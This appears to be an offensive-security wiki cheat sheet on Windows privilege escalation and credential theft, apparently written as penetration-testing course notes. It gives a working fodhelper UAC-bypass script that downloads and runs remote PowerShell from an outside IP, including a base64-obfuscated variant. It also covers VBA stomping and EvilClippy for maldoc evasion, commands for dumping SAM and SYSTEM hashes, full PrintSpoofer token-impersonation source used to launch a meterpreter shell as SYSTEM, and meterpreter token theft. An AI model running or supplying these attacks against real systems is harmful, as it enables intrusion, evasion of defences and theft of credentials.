[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
